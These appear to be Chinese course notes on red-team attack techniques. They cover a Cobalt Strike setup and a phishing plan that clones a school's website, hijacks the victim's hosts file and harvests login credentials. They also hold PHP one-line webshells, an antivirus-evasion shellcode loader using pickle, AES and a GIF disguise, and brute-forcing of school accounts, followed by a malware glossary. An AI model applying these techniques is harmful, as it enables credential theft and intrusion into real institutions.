第一天
工具:cs cobalt strike 4.9 / msf kali (自带 Ubuntu)
cs cobalt strike 4.9:server-client
server部署在云服务器上,client分别在各地,与server相连接;连接上后就可以共享上线主机。
对于server主要执行主件是teamserver和TeamServerImage,他们是用Java写的,所以要jdk的依赖,Windows和Ubuntu都需要下载安装,用命令java -version查看是否安装成功
运行server
root@ubuntu:~/cs4.9/Server# ./teamserver 192.168.59.147 oupeng (IP 密码)
反弹性木马:反向,受害者主动连接入侵者,内网往外网走,所以防火墙对此管理没有严格;如果受害者不知道入侵者的ip地址,那么受害者是连接不到入侵者的。(这就是为什么用反弹性木马和为什么要写ip)
打开client,监听木马:创建一个监听器(设置不常用的端口),方便你知道受害者何时连接的你
案例一:钓鱼邮件
假设我们是一个红队入侵者,我们需要去攻击某个学校 ,但学校的安全做的不错,没有明显的漏洞,现有的系统接入0信任,需要一个老师或者学生账号
1、用钓鱼邮件并且通过免杀木马让学生或老师中招
2、第一种(等待):利用远程控制木马的键盘监听器去监听等待,如果他输入账号,那么就能得到他的账号和密码 ———— 效率太低第二种(主动出击):让他主动写入自己的学号或教师账号以及密码
3、要一个钓鱼网站 ———— 学校的官网(直接将源码另存为)
4、关键问题:如何他去走进你的钓鱼网站
5、现已将代码部署到自己的网站,但没有学校域名的权限(没有办法让域名解析到自己的服务器上)
6、解决方法:仿造一个相似域名,可取性为0 edu.cn申请不到https://www.cdcas-edu.com 成功率较低
8、现已让对方中木马,所以要做出hosts ———— dns劫持 ———— 劫持dns解析,让其解析到自己的服务器上
9、dns解析流程 ———— 才能知道hosts为什么可以dns劫持
hosts的Windows路径:C:\Windows\System32\drivers\etc\hosts
10、问题:在自己的电脑或者linux服务器上部署一个web应用需要什么组件 ———— web中间件
web中间件:nginx (apache toimcat weblogic)
12、部署nginx服务,windows可以用小皮面板;要配置虚拟主机才可以让域名解析到本地
虚拟主机是否能够匹配到这个,需要看虚拟主机的配置项
位置:D:\phpstudy_pro\Extensions\Nginx1.15.11\conf\vhosts\0localhost_80.conf
用vscode打开配置(复制粘贴后修改server_name、root),完成后重启小皮的nginx
当别人访问登录后,服务器上就能获取到他的账号和密码,在D:\phpstudy_pro\WWW\服务器名\account.txt中
13、问题
1. dns解析过程
(1)查询本地 ———— 查询缓存
(2)本地缓存没有,就到hosts查看是否有域名和ip的对应关系 如果有则返回
(3)都没有,则查本地路由 ————> 查询根域服务器 ————> dns ————> 13个根域服务器地址
(4)查找13台根域服务器
(5)寻找com顶级域寻找百度的dns服务器最终返回baidu.com的A的对应服务器ip迭代查询Windows和Linux下的dns解析命令:
linux:dig nslookup
例:xyl@ubuntu:~$ dig +trace www.baidu.comxyl@ubuntu:~$ nslookup www.baidu.comWindows:nslookup ———— nslookup www.baidu.com2. web中间件的部署和搭建(linux)
搭建LNMP和WNMP
LNMP: linux nginx mysql php
WNMP: Windows nginx(小皮面板) mysql php也可以docker搭建(过程没那么繁琐)
https://command-not-found.com/ 可以寻找安装包的命令3 如何配置web中间件的虚拟主机总结4步:1.中c2(免杀) 2.劫持dns 3.让他登录钓鱼网站 4.拿下他的账号密码
Ubuntu安装nginx、mysql以及php的部署
nginx:
1、编译安装
# 复制22的链接地址(复制源码),用wget下载
wget https://nginx.org/download/nginx-1.22.1.tar.gz
tar -zxvf nginx-1.22.1.tar.gz
mv nginx-1.22.1 nginx 改名方便使用
cd nginx2、安装依赖包
apt-get install gcc
apt-get install libpcre3 libpcre3-dev
apt-get install zlib1g zlib1g-dev
apt-get install openssl
apt-get install libssl-dev3、编译nginx
# 执行命令
./configure
# 执行make命令
make
# 执行make install命令
make install4、启动nginx
cd /usr/local/nginx/sbin
./nginx 启动nginx
ps -ef |grep nginx 查看进程
http://192.168.59.147/ 访问网站,查看是否成功,如下图一php:
1、添加数据源
# 执行三条命令,添加php的源地址,更新,安装
sudo apt-get install software-properties-common
sudo add-apt-repository -y ppa:ondrej/php
sudo apt-get update
apt list |grep php 查看是否有安装包2、安装php
# nginx使用php的话要用到php7.3-fpm,所以要安装php-fpm
sudo apt-get install php7.3 php7.3-mysql php7.3-fpm php7.3-curl php7.3-xml php7.3-gd php7.3-mbstring php-memcached php7.3-zip
# 默认是最高版本
pdate-alternatives --config php 修改版本
php -v 查看当前版本3、配置php-fpm
find / -name www.conf 用find查找文件
vim /etc/php/7.3/fpm/pool.d/www.conf
# 把监听端口改掉
将;listen = /run/php/php7.3-fpm.sock 改为listen = 127.0.0.1:9000
service php7.3-fpm restart 重启服务9.启动php-fpm
service php7.3-fpm restart
lsof -i:9000 查看9000端口是否开放 (netstat -lnt | grep 9000)10、nginx下要有配置文件才能和php-fpm相连接
cd /usr/local/nginx/conf/
vim nginx.conf
将以下内容注释取消,且修改结果如下:location ~ \.php$ {root html;fastcgi_pass 127.0.0.1:9000;fastcgi_index index.php;fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;include fastcgi_params;}# deny access to .htaccess files, if Apache's document root# concurs with nginx's one#location ~ /\.ht {deny all;}
# 保存退出
# 重启nginx
root@ubuntu:/usr/local/nginx# cd sbin/
root@ubuntu:/usr/local/nginx/sbin# ./nginx -s reload# 检测配置是否成功
root@ubuntu:/usr/local/nginx# cd html/
root@ubuntu:/usr/local/nginx/html# vim web.php
内容如下:
<?php phpinfo(); ?>http://192.168.59.147/web.php 访问该网站看是否配置成功,结果如图二mysql:
# 安装mysql
apt-get install mysql-server
# 连接mysql
mysql -uroot -p123这样有两个问题:1、mysql没有密码限制;2、mysql8.0和php7.3里的mysqli-connect不兼容
mysql -uroot -proot123//..
# 修改密码
mysql> alter user 'root'@'localhost' identified mysql_native_password by '123';vscode远程登陆Ubuntu,修改靶场文件中的mysql连接密码,与Ubuntu中的一致,
访问网站http://192.168.59.147/sqlilabs,得图三
nginx成功结果(图一):
nginx和php配置成功结果(图二):
图三:
第二天
名词解释:
名词解释
1.POC、EXP、Payload与Shellcode
POC:全称‘Proof of Concept',中文’概念验证’,常指一段漏洞证明的代码。EXP:全称'Exploit’,中文‘利用',指利用系统漏洞进行攻击的动作。Payload:中文‘有效载荷’,指成功exploit之后,真正在目标系统执行的代码或指令。Shellcode:简单翻译'shell代码',是Payload的一种,由于其建立正向/反向shell而得名。
poc就是用来做漏洞测试,不会进一步利用;比如执行某个命令来证明这个漏洞是可以执行的
exp相对于poc就会进一步利用(漏洞利用),比如写入webshell网站后门等http://192.168.59.147/web.php
(<? php eval($_POST['123']); ?>)因为比较简单,被称为“一句话木马”
(网站后门起到控制整个网站的作用)
payload:比如webshell是一个脚本,那么他的源码就是payload(比如上面一句话木马的内容就是payload)
shellcode是payload的一种,更多出现在远程控制木马里面(机器码 python/c),也就是远程控制木马里的内容
例:将web.php文件写成system($_GET['c']);执行命令函数——执行get传参——是一个命令执行漏洞
(php中system是执行外部程序,并且显示输出)
现在传一个id,就是一个poc测试,测试发现里面是有漏洞的,就开始考虑其他三个
如果在网址上执行echo 11111 > webshell.php,结果显示无法执行,因为nginx中起作用的worker权限是nobody,而html文件的权限是root,所以执行不成功,但一般来说nginx、php-fpm和html文件的所属者都会统一,修改权限后则能成功(chown -R / nginx.conf)
错误:1、权限问题;2、可查看日志logs
后门引发问题:
1.当你水平越来越高的时候,你的后门太多了不好管理
2.后门的操作内容比较繁杂,是否可以有工作进行快捷管理
方法:三款工具
webshell利用与管理工具:
(1)蚁剑 —— 师承中国菜刀
webshell代理功能有刷新、删除、修改、上传、下载等
(2)冰蝎 —— rebeyond 他独创webshell加密机制——webshell —— 用Java写的要jdk
冰蝎的传输协议是加密的
工作流程:
本地就是冰蝎客户端,远程就是你要把webshell传递过去的服务器
- 本地对Payload进行加密,然后通过POST请求发送给远程服务端;
- 服务端收到Payload密文后,利用解密算法进行解密;
- 服务端执行解密后的Payload,并获取执行结果;
- 服务端对Payload执行结果进行加密,然后返回给本地客户端;
- 客户端收到响应密文后,利用解密算法解密,得到响应内容明文。
在冰蝎的协议传输中用AES生成服务器default_aes(路径:/bx46/server/default_aes)
其下有三个文件
shell.aspx、(shell.jsp、shell.php)重点看这两个文件 这三个文件都在服务端处理的shell.php:先进行base64加密,再解密
客户端将想要执行的命令加密发送给服务器,假设服务器是shell.php,服务器通过file_get_contents获取到数据进行解密,用eval执行命令,执行完后的命令加密推到客户端,客户端执行解密下一步将php文件发到nginx的html下
冰蝎最大的特点是将流量全部加密
(3)哥斯拉——冰蝎类似
2.几点注意POC是用来证明漏洞存在的,EXP是用来利用漏洞的,两者通常不是一类,或者说,POC通常是无害的,Exp通常是有害的,有了POC,才有EXP。Payload有很多种,它可以是Shellcode,也可以直接是一段系统命令。同一个Payload可以用于多个漏洞,但每个漏洞都有其自己的
EXP,也就是说不存在通用的EXP。Shellcode也有很多种,包括正向的,反向的,甚至meterpreter。Shellcode与Shellshcok不是一个,Shellshock特指14年发现的Shellshock漏洞。
免杀马:(蚁剑)
demo1.py
(1)将机器码拿下来,做base64转码
(2)在内存空间中申请内存
(3)将shellcode放到内存中去
(4)创建一个线程,再直接把shellcode执行起来免杀过程:
1. 先用cs4.9(python)生成一个机器码,然后将机器码进行base64编码
# shellcode是从python中来的
# 如果shellcode直接写进来,也就是硬编码进来,那么只有一个结局,就是被杀
# 所以要想办法让他不出现特征码 ———— 方法:用服务器直接下载2. 将base64编码放在服务器一个txt文件中去
# 在服务器的test.txt文件中,将恶意shellcode代码进行了base64编码,试图躲避杀软的查杀# 代码中有太多特征值,过不了免杀 ———— 方法:利用python发序列化模块来执行
3. 将执行完A类序列化和base64encode的结果,进行一个ase加密 加密模式cbc 加密网站http://tool.chacuo.net/cryptaes
# python序列化后的内容,经过反序列化的操作,里面的代码会自动执行
# 对A类进行了序列化 pickle是python序列化模块 dumps 序列化 loads反序列化
# 当反序列化时exec命令执行函数就会执行shellcode,也会把恶意代码执行起来# 序列化就是把数据“打包”成可以保存或发送的格式,反序列化就是“拆包”还原成原来的数据
# 序列化模块有pickle、json、marshal、yaml总结:
# 第一:将硬编码修改为服务器下载
# 第二:将直接shellcode的恶意代码,改为变量值
# 第三:将shellcode变量值放入A类中,然后又进行序列化操作
# 第四:将序列化后的值 进行base64编码以上四步对于360、火绒、Windows defeider是无法免杀的
# A类序列化以后的原始状态 dumps 序列化 loads 反序列化
demo2
在执行demo1后得到了base64编码后的值
然后我们利用ASE的CBC模式对该值进行对称加密,加密输出结果
# 在一定时间内,因为杀毒软件没有密钥就无法解密该结果,那么就不知道这个是什么东西,那么就将它放行了
# AES加密要指定模式、秘钥、偏移量将执行完A类序列化和base64encode的结果,进行一个ase加密 加密模式cbc 加密网站http://tool.chacuo.net/cryptaes
# 加密的秘钥ysIx0oKueJV15dkA4P3WvDjnq9giB62= 加密偏移量 jbMNXRf954m0WUzQ aes加密完 会自动出书base64编码的内容# A类进行序列化 ----- >base64encode编码·-----正向过程:
A类进行序列化 -----> base64encode编码 ------> AES加密 ----> base64编码逆向过程:
base64decode解码 -----> AES解码 -----> base64解码 -----> 反序列化
代码中:base64.b64decode --- decrypt --- base64.b64decode --- json.loads
# json是因为别名:import pickle as json操作:
1、在本地启动一个简单的 HTTP 服务器
python3 -m http.server 9999
# 解释器 -m:指定模块 http.server:Python库中的一个模块,用于快速启动一个简单的HTTP服务器 端口号
2、执行代码为了加大防范,可以将pick进行序列化、base64编码,然后利用python切片,将木马打乱,让木马无法执行;将打乱后的木马放入gif文件(图片)中,记得加入文件头gif89a,放在服务器中还原:1. 下载gif图片,读取木马利用代码 2 还原木马 3. 解码
demo3
把demo2更进一步包装继续将其做变量,放到自定义base64编码demo1
1、从服务器下载数据
2、自定义base64解码,还原成原来的代码,但只是序列化、反序列化得到的值放在那
3、要把该值进行序列化、反序列化反向递进
信息收集、信息泄露
弱口令:
弱口令是指那些强度不够,容易被猜解的,类似于123、abc这样的口令密码
如何利用信息泄露挖掘一个edu src漏洞1、首先找学校的官网,在学校众多网站中找到一个相对防御较弱的分站(一个主站,多个分站)怎么找分站? ———— 比如:EZ工具突破0信任入口,需要大量的教工号和学号 ———— 百度、谷歌、学校网站奖学金等信息找学号site:peihua.cn intext;"学工号"
一般是找默认密码固定的
找到信息后,用抓取软件(burpsuite)暴力破解,破解哪个字段就打上$符,在payloads导入信息文件,intruder爆破(548、539等:失败)中卫漏洞 信息泄露+弱口令破解
攻击工具:
肉鸡
# 所谓“肉鸡”是一种很形象的比喻,比喻那些可以被攻击者控制的电脑、手机、服务器或者其他摄像头、路由器等智能设备,用于发动网络攻击。
# 例如在2016年美国东海岸断网事件中,黑客组织控制了大量的联网摄像头用于发动网络攻击,这些摄像头则可被称为“肉鸡”。僵尸网络
# 僵尸网络Botnet是指采用一种或多种传播手段,将大量主机感染病毒,从而在控制者和被感染主机之间所形成的一个可一对多控制的网络。
# 僵尸网络是一个非常形象的比喻,众多的计算机在不知不觉中如同中国古老传说中的僵尸群一样被人驱赶和指挥着,成为被攻击者执行各类恶意活动(DDOS、垃圾邮件等)利用的一种基础设施。木马
# 就是那些表面上伪装成了正常的程序,但是当这些程序运行时,就会获取系统的整个控制权限。
# 有很多黑客就是热衷使用木马程序来控制别人的电脑,比如灰鸽子、GhOst、PcShare等等。网页木马
# 表面上伪装成普通的网页或是将恶意代码直接插入到正常的网页文件中,当有人访问时,网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马服务端植入到访问者的电脑上来自动执行将受影响的客户电脑变成肉鸡或纳入僵尸网络。Rootkit
# Rootkit是攻击者用来隐藏自己的行踪和保留root(根权限,可以理解成WINDOWS下的system或者管理员权限)访问权限的工具。
# 通常,攻击者通过远程攻击的方式获得root访问权限,或者是先使用密码猜解(破解)的方式获得对系统的普通访问权限,进入系统后,再通过对方系统存在的安全漏洞获得系统的root或system权限。然后,攻击者就会在对方的系统中安装Rootkit,以达到自己长久控制对方的目的,Rootkit功能上与木马和后门很类似,但远比它们要隐蔽。蠕虫病毒
# 它是一类相对独立的恶意代码,利用了联网系统的开放性特点,通过可远程利用的漏洞自主地进行传播,受到控制终端会变成攻击的发起方,尝试感染更多的系统。
# 蠕虫病毒的主要特性有:自我复制能力、很强的传播性、潜伏性、特定的触发性、很大的破坏性。I震网病毒又名Stuxnet病毒,是第一个专门定向攻击真实世界中基础(能源)设施的“蠕虫“病毒,比如核电站,水坝,国家电网。
作为世界上首个网络“超级破坏性武器”,Stuxnet的计算机病毒已经感染了全球超过45000个网络,其目标伊朗的铀浓缩设备遭到的攻击
最为严重。勒索病毒
# 主要以邮件、程序木马、网页挂马的形式进行传播。该病毒性质恶劣、危害极大,一旦感染将给用户带来无法估量的损失。这种病毒利用各种加密算法对文件进行加密,被感染者一般无法解密,必须拿到解密的私钥才有可能破解。挖矿木马
# 一种将PC、移动设备甚至服务器变为矿机的木马,通常由挖矿团伙植入,用于挖掘比特币从而赚取利益。攻击载荷
# 攻击载荷(Payload)是系统被攻陷后执行的多阶段恶意代码。
# 通常攻击载荷附加于漏洞攻击模块之上,随漏洞攻击一起分发,并可能通过网络获取更多的组件。嗅探器(Sniffer)
#就是能够捕获网络报文的设备或程序。嗅探器的正当用处在于分析网络的流量,以便找出所关心的网络中潜在的问题。恶意软件
# 被设计来达到非授权控制计算机或窃取计算机数据等多种恶意行为的程序。间谍软件
# 一种能够在用户不知情的情况下,在其电脑、手机上安装后门,具备收集用户信息、监听、偷拍等功能的软件。后门
# 这是一种形象的比喻,入侵者在利用某些方法成功的控制了目标主机后,可以在对方的系统中植入特定的程序,或者是修改某些设置,用于访问、查看或者控制这台主机。
# 这些改动表面上是很难被察觉的,就好象是入侵者偷偷的配了一把主人房间的钥匙,或者在不起眼处修了一条按到,可以方便自身随意进出。
# 通常大多数木马程序都可以被入侵者用于创建后门(BackDoor)。弱口令
# 指那些强度不够,容易被猜解的,类似123,abc这样的口令(密码)。漏洞
# 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
# 奇安信集团董事长齐向东在《漏洞》一书中指出,软件的缺陷是漏洞的一个主要来源,缺陷是天生的,漏洞是不可避免的。远程命令执行漏洞
# 由于系统设计实现上存在的漏洞,攻击者可能通过发送特定的请求或数据导致在受影响的系统上执行攻击者指定的任意命令。Oday漏洞
# Oday漏洞最早的破解是专门针对软件的,叫做WAREZ,后来才发展到游戏,音乐,影视等其他内容的。
# Oday中的0表示Zero,早期的0day表示在软件发行后的24小时内就出现破解版本。
# 在网络攻防的语境下,0day漏洞指那些已经被攻击者发现学握并开始利用,但还没有被包括受影响软件厂商在内的公众所知的漏洞,这类漏洞对攻击者来说有完全的信息优势,由于没有漏洞的对应的补丁或临时解决方案,防守方不知道如何防御,攻击者可以达成最大可能的威胁。